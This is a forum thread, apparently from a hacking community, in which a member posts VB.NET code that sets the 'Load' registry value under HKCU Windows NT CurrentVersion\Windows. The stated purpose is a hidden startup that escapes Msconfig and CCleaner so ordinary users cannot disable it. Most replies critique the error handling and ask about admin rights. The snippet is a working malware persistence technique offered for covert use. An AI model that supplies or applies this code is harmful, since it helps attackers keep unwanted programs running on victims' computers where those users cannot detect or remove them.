Aug 25, 2014 08:37 AM
(This post was last modified: Aug 25, 2014 09:22 AM by Voidlight.)
Here is a hidden startup method that can bypass Msconfig and CCcleaner
Code Private Sub Startup()
On Error Resume Next
Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows NT\CurrentVersion\Windows", True).SetValue("Load", Process.GetCurrentProcess.MainModule.FileName)
End Sub
Any normal user will not know how to disable this startup.
Enjoy.
DO NOT DEAL WITH THIS MEMBER
This question may be stupid, but why do you use a function instead of a sub :-?
And why do you use On Error Resume Next? That's the worst idea ever.
(Aug 25, 2014 09:07 AM)zeroexp Wrote: This question may be stupid, but why do you use a function instead of a sub :-?
Your right lol.. my bad will fix this now.
There is no reason for this i guess
But you could use a try catch and return true or false for persistance or stuff like that :)
But thanks for this code I didn't even know or think of this :P
Gonna try it soon
(Aug 25, 2014 09:22 AM)imi-tat0r Wrote: There is no reason for this i guess
But you could use a try catch and return true or false for persistance or stuff like that :)
But thanks for this code I didn't even know or think of this :P
Gonna try it soon
No problem, and if you do use it, don't bother crediting :P
On error resume next... VB6 shit, leave that behind.
Before adding a try/catch, try to think about the problems that could occur whilst that code is ran, solve them, and add a try/catch to catch an error you have not already solved.
Wait wouldn't that ask for Admin + UAC ?
DO NOT DEAL WITH THIS MEMBER
Aug 25, 2014 12:22 PM
(This post was last modified: Aug 25, 2014 12:27 PM by Marwix.)
It doesn't need to have 'On Resume'. Just use a Try statement to catch the exception if an error is occured upon runtime.
In this case, it will exit the sub if it doesn't add the value properly. You can add a return statement as well but you would have to change your sub into a function and return "Could not add a registry value to key" instead of Exit sub.
(Aug 25, 2014 12:22 PM)Marwix Wrote: ![[Image: b7D9C.png]](https://puu.sh/b7D9C.png)
It doesn't need to have 'On Resume'. Just use a Try statement to catch the exception if an error is occured upon runtime.
In this case, it will exit the sub if it doesn't add the value properly. You can add a return statement as well but you would have to change your sub into a function and return "Could not add a registry value to key" instead of Exit sub.
Can you care to explain why you are exiting the sub routine during your catch? lol
DO NOT DEAL WITH THIS MEMBER
(Aug 25, 2014 12:34 PM)Cairns Wrote: Can you care to explain why you are exiting the sub routine during your catch? lol
Yeah i noticed that too, no point really since there is no other code in the sub.
DO NOT DEAL WITH THIS MEMBER
Aug 25, 2014 12:39 PM
(This post was last modified: Aug 25, 2014 12:41 PM by Marwix.)
(Aug 25, 2014 12:34 PM)Cairns Wrote: Can you care to explain why you are exiting the sub routine during your catch? lol
You don't have to exit the sub. You can just write 'Msgbox("Coud not add reg value")' in the exception statement as well but I'm trying to let him understand how I mean by using Exit sub.
OP, the exception can be anything but I prefer having a msgbox that appears if an error occurs.
How would you do it Cairns?
I'm pretty sure that I haven't done anything wrong here 😅
Really great ideas guys. 10/10 would implement.
(Aug 25, 2014 08:37 PM)Voidlight Wrote: Really great ideas guys. 10/10 would implement.
What about admin rights and uac ? Are they required ?
for HKCU not i guess and for HKLM you will need Admin rights. I don't know about UAC
|